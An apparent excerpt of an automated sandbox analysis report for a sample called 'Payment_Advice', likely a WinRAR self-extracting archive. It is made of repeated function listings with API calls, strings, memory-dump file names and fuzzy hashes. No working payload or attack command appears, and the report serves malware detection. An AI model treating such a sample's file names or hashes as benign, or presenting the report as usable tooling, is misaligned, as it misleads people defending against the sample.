Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 0cf29257b9b412b9732d41ecbec7c99d16e73abc475dddaf1834233e1d4ff0cf
Instruction ID: c132dbc85ec00d623c753ea7e1a35dfca4cd4ac7721bd4a447d160d34ece730e
Opcode Fuzzy Hash: 0cf29257b9b412b9732d41ecbec7c99d16e73abc475dddaf1834233e1d4ff0cf
Instruction Fuzzy Hash: 21015279504245AFEB119F54FC48AEA7FB5F729358B100425F50593231C6719C98FBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00501316 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0050E2E8: _swprintf.LIBCMT ref: 0050E30E
Part of subcall function 0050E2E8: _strlen.LIBCMT ref: 0050E32F
Part of subcall function 0050E2E8: SetDlgItemTextW.USER32(?,0053E274,?), ref: 0050E38F
Part of subcall function 0050E2E8: GetWindowRect.USER32(?,?), ref: 0050E3C9
Part of subcall function 0050E2E8: GetClientRect.USER32(?,?), ref: 0050E3D5

GetDlgItem.USER32(00000000,00003021), ref: 0050135A
SetWindowTextW.USER32(00000000,005335F4), ref: 00501370

Strings

0, xrefs: 00501319
Q, xrefs: 0050134A

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: Q$0
API String ID: 2622349952-432977256
Opcode ID: bb08f2479de05c0410285cfcc35c3530a7f14691deff827fec48bdd3aa95a901
Instruction ID: a8a267e004c94637cddae091d2f111e6bc909b1909bc59a2fd67180912835c7d
Opcode Fuzzy Hash: bb08f2479de05c0410285cfcc35c3530a7f14691deff827fec48bdd3aa95a901
Instruction Fuzzy Hash: 48F08C3010478DABDF150F64C80EAEE3F98BB51344F048914FC48515E1CB74C994EA19

Uniqueness

Uniqueness Score: -1.00%

Function 00529A1E Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00529AA9
__alldvrm.LIBCMT ref: 00529CAA
__alldvrm.LIBCMT ref: 00529CCC

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 3257cbe3c23a9893bcf4e13c0b157f0aff40f0c1a093e58d5470b9d1dc85e048
Instruction ID: 8896ce8a8e6fd849653f16a96bef0b568418e79a19d4290354ebc3a5dfce6400
Opcode Fuzzy Hash: 3257cbe3c23a9893bcf4e13c0b157f0aff40f0c1a093e58d5470b9d1dc85e048
Instruction Fuzzy Hash: 3EA12472A047A69FEB258F28E8917AEBFE5FF56310F18456DE485AB3C1C2388D41C750

Uniqueness

Uniqueness Score: -1.00%

Function 0050A354 Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000800,?,00507F69,?,?,?), ref: 0050A3FA
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,?,00000800,?,00507F69,?), ref: 0050A43E
SetFileTime.KERNEL32(?,00000800,?,00000000,?,?,00000800,?,00507F69,?,?,?,?,?,?,?), ref: 0050A4BF
CloseHandle.KERNEL32(?,?,?,00000800,?,00507F69,?,?,?,?,?,?,?,?,?,?), ref: 0050A4C6

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 8a53c25a6b765b1b54e196b205bfbff567583fc795c85e500fe78aa4e5805393
Instruction ID: db14d71b1305a87834107a2e837c170ce715e18efa3831a3898aee93d83b9dd7
Opcode Fuzzy Hash: 8a53c25a6b765b1b54e196b205bfbff567583fc795c85e500fe78aa4e5805393
Instruction Fuzzy Hash: DA418E312483819AE721DF24DC49FEEBFE4AB95700F040D19B5E1971D1D6A49A489B53

Uniqueness

Uniqueness Score: -1.00%

Function 0052C988 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,2DE85006,005247C6,00000000,00000000,005257FB,?,005257FB,?,00000001,005247C6,2DE85006,00000001,005257FB,005257FB), ref: 0052C9D5
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0052CA5E
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 0052CA70
__freea.LIBCMT ref: 0052CA79

Part of subcall function 00528E06: RtlAllocateHeap.NTDLL(00000000,?,?,?,00524286,?,0000015D,?,?,?,?,00525762,000000FF,00000000,?,?), ref: 00528E38

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: cda667ab10ecd32b6adada963dc5d2fda0bc7cdd31cc2ff2e3e1f0ff7a75d713
Instruction ID: d9833289ebe3233326218c57d7fb7570c44f8c495a532507a4f202f8fcda085c
Opcode Fuzzy Hash: cda667ab10ecd32b6adada963dc5d2fda0bc7cdd31cc2ff2e3e1f0ff7a75d713
Instruction Fuzzy Hash: 9B319D72A0022AABDB24DF64EC45DBE7FA6FF42710B044268FC04E6291E735DD94DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0051A663 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0051A666
GetDeviceCaps.GDI32(00000000,00000058), ref: 0051A675
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0051A683
ReleaseDC.USER32(00000000,00000000), ref: 0051A691

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 42780598523a67d365f93d84890cc3367b7baa9ba2ff38d6e737d7de54416e46
Instruction ID: 2176abc0d0250ecd7b51f5f913312e16c2efa444d7a93d99a319d5ade3402db3
Opcode Fuzzy Hash: 42780598523a67d365f93d84890cc3367b7baa9ba2ff38d6e737d7de54416e46
Instruction Fuzzy Hash: 94E01231E42721FBD7615B68BC0DBDF3E54AB26B66F010205FA059B2D0DBB4860C9BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0051D06A Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 278COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 0051D11B

Strings

.lnk, xrefs: 0051D2F7, 0051D307
dQ, xrefs: 0051D3C5

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _wcschr
String ID: .lnk$dQ
API String ID: 2691759472-3104787530
Opcode ID: 086d35efd9bda1bc94ddae3f608e8a8cf8b8b8ef80df1c8c25e83ca11a7f645c
Instruction ID: c6b34837a6be920e7de1b9abb3bb5573261228b5dfb1bce1ce54bc54db327a27
Opcode Fuzzy Hash: 086d35efd9bda1bc94ddae3f608e8a8cf8b8b8ef80df1c8c25e83ca11a7f645c
Instruction Fuzzy Hash: AFA1337690022AA6EF24DBA0CD49EFA77FCBF44304F0445A6B509E7181EE759AC5CB70

Uniqueness

Uniqueness Score: -1.00%

Function 0052B1B8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0052B324

Part of subcall function 00529097: IsProcessorFeaturePresent.KERNEL32(00000017,00529086,00000000,00528D94,00000000,00000000,00000000,00000016,?,?,00529093,00000000,00000000,00000000,00000000,00000000), ref: 00529099
Part of subcall function 00529097: GetCurrentProcess.KERNEL32(C0000417,00528D94,00000000,?,00000003,00529868), ref: 005290BB
Part of subcall function 00529097: TerminateProcess.KERNEL32(00000000,?,00000003,00529868), ref: 005290C2

Strings

*?, xrefs: 0052B1FB
., xrefs: 0052B4DB

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free
String ID: *?$.
API String ID: 2667617558-3972193922
Opcode ID: 871087a43f0bd1cbd1098384f5f5eb82fa4a5fd881eee7424b44ab4bf77dde44
Instruction ID: a02d09bcd0f45e47615551343f34fd8b59316032246e880ff0c86c4524cf36a8
Opcode Fuzzy Hash: 871087a43f0bd1cbd1098384f5f5eb82fa4a5fd881eee7424b44ab4bf77dde44
Instruction Fuzzy Hash: B3516F75E0022ADFEF14DFA8D881AADBBB5FF99310F244169E854A7380E7319A018B50

Uniqueness

Uniqueness Score: -1.00%

Function 005075DE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 005075E3

Part of subcall function 005105DA: _wcslen.LIBCMT ref: 005105E0

Part of subcall function 0050A56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0050A598

SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 0050777F

Part of subcall function 0050A4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0050A325,?,?,?,0050A175,?,00000001,00000000,?,?), ref: 0050A501
Part of subcall function 0050A4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0050A325,?,?,?,0050A175,?,00000001,00000000,?,?), ref: 0050A532

Strings

:, xrefs: 00507654

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: File$Attributes$CloseFindH_prologTime_wcslen
String ID: :
API String ID: 3226429890-336475711
Opcode ID: 21be456bff54555c9b23307bb12e946513264eeeac75c3ee5ad90de99de7fbdb
Instruction ID: 9732d5bb1a971f9b6bb1efc806ab0bcff97b213af883554915b36ad9f5c7fba9
Opcode Fuzzy Hash: 21be456bff54555c9b23307bb12e946513264eeeac75c3ee5ad90de99de7fbdb
Instruction Fuzzy Hash: B5415071901659A9EB25EB64CC59EEEBB7CFF85300F004096B60AA30D2DB746F85CF60

Uniqueness

Uniqueness Score: -1.00%

Function 0050B37A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 0050B438
_wcschr.LIBVCRUNTIME ref: 0050B478

Strings

*, xrefs: 0050B38A

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _wcschr
String ID: *
API String ID: 2691759472-163128923
Opcode ID: 88e0316d952a737de659b873b30e32db82b321067ca43ddceef709dfbde03f35
Instruction ID: 6eb7af81e5d3a59892f6f2ff5938e13e75e76219514755763e021da653776918
Opcode Fuzzy Hash: 88e0316d952a737de659b873b30e32db82b321067ca43ddceef709dfbde03f35
Instruction Fuzzy Hash: FE312622104302AAFE309E1499C6A7F7FEAFF91B10F25881EF984471C3E7668F419261

Uniqueness

Uniqueness Score: -1.00%

Function 0051B48E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0051B4E3
_wcslen.LIBCMT ref: 0051B4FE

Strings

}, xrefs: 0051B4D6

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _wcslen
String ID: }
API String ID: 176396367-4239843852
Opcode ID: acd62f3611627c9ad9b8522e53c80218149a12300aeb418b2572effd935d308d
Instruction ID: b3eea7c4f8045d34bced82bcb867d65d3e351d86522f12d8a5ab093b614dc9b9
Opcode Fuzzy Hash: acd62f3611627c9ad9b8522e53c80218149a12300aeb418b2572effd935d308d
Instruction Fuzzy Hash: DA21F6729043165AFB31EB64E849EABBBEDFF91754F05042AF540C3141F765DD8883A2

Uniqueness

Uniqueness Score: -1.00%

Function 0050F344 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0050F2C5: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0050F2E4
Part of subcall function 0050F2C5: GetProcAddress.KERNEL32(005481C8,CryptUnprotectMemory), ref: 0050F2F4

GetCurrentProcessId.KERNEL32(?,?,?,0050F33E), ref: 0050F3D2

Strings

CryptProtectMemory failed, xrefs: 0050F389
CryptUnprotectMemory failed, xrefs: 0050F3CA

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: 3d0e623631f3c06ffb75807a9a365b42eb84a12a13ba90048ec88f1e1a0a34ba
Instruction ID: daa9651beeb5e1b330ed277c4adce03b6207df1b88570a66ea3855916bfa645e
Opcode Fuzzy Hash: 3d0e623631f3c06ffb75807a9a365b42eb84a12a13ba90048ec88f1e1a0a34ba
Instruction Fuzzy Hash: 6B11263160062AABEF35AF20EC46AEE3F54FF50734B044526FC015B6D1DA30AD459790

Uniqueness

Uniqueness Score: -1.00%

Function 0050C058 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 0050C080

Strings

<9S, xrefs: 0050C076
?*<>|", xrefs: 0050C06D, 0050C07F

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _wcschr
String ID: <9S$?*<>|"
API String ID: 2691759472-1328803747
Opcode ID: 590c7d167f94264fd64919f9407a584865630e384074c1a41a0d612516e33b63
Instruction ID: a1d84fe9fab17e5f76e5665d5d0fb7190184b48156dd3761dce1c8f62a4ed7fb
Opcode Fuzzy Hash: 590c7d167f94264fd64919f9407a584865630e384074c1a41a0d612516e33b63
Instruction Fuzzy Hash: 49F06D57A45702D5C7301F29A82573EBFE4FF97720F240A1EE5C58B2D2E6A18880C665

Uniqueness

Uniqueness Score: -1.00%

Function 0051DB4B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0051DBAC

Strings

Software\WinRAR SFX, xrefs: 0051DB95
Q, xrefs: 0051DB9F

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _wcslen
String ID: Software\WinRAR SFX$Q
API String ID: 176396367-2798703949
Opcode ID: ee373c934b37fa8eec34d7eecdde8ed3e1c4dcd21b64c0243870c709cfd11914
Instruction ID: 64f691925c22f617dd5d44e435a85570634e31ce1a2d62818cf9290a745d5976
Opcode Fuzzy Hash: ee373c934b37fa8eec34d7eecdde8ed3e1c4dcd21b64c0243870c709cfd11914
Instruction Fuzzy Hash: 27015A35540128BAEF229B95DC0EFDF7F7CFB553A8F000052B54AA50A0D7A48A8CDAA1

Uniqueness

Uniqueness Score: -1.00%

Function 0052BB4E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005297E5: GetLastError.KERNEL32(?,00541098,00524674,00541098,?,?,005240EF,?,?,00541098), ref: 005297E9
Part of subcall function 005297E5: _free.LIBCMT ref: 0052981C
Part of subcall function 005297E5: SetLastError.KERNEL32(00000000,?,00541098), ref: 0052985D
Part of subcall function 005297E5: _abort.LIBCMT ref: 00529863

_abort.LIBCMT ref: 0052BB80
_free.LIBCMT ref: 0052BBB4

Strings

pS, xrefs: 0052BBAB

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ErrorLast_abort_free
String ID: pS
API String ID: 289325740-3706138410
Opcode ID: 2f3fb8b422be33387bd60c781299339e25ccc193ea4d9222602d5c2637a934e3
Instruction ID: 78b0582b709611657d5519924c23ee75a43a0ae7f9ef02b0a2730c3b41150fe8
Opcode Fuzzy Hash: 2f3fb8b422be33387bd60c781299339e25ccc193ea4d9222602d5c2637a934e3
Instruction Fuzzy Hash: BC01D232D01632DBDB21AF68A40222DBFB1BF46B21B15010AF824A73D5CB346D419FC1

Uniqueness

Uniqueness Score: -1.00%

Function 0051B425 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(?), ref: 0051B42F

Strings

(Q, xrefs: 0051B457
ZQ, xrefs: 0051B441

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Malloc
String ID: (Q$ZQ
API String ID: 2696272793-758804005
Opcode ID: 4ec28dbae7e987cd159fd8c48784f2b055eb475d6fb4dc774040b5c54b2d2472
Instruction ID: ac635da68c130f9e69872afc1549243199d00621a9fd85dcd908030d6a4f3979
Opcode Fuzzy Hash: 4ec28dbae7e987cd159fd8c48784f2b055eb475d6fb4dc774040b5c54b2d2472
Instruction Fuzzy Hash: 070124B6600108BFEF059FA4DC49CEEBBADEF182547004159F906D7120E671AA48EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00510FE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00511101,?,?,0051117F,?,?,?,?,?,00511169), ref: 00510FEA
GetLastError.KERNEL32(?,?,0051117F,?,?,?,?,?,00511169), ref: 00510FF6

Part of subcall function 00506C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00506C54

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00510FFF

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
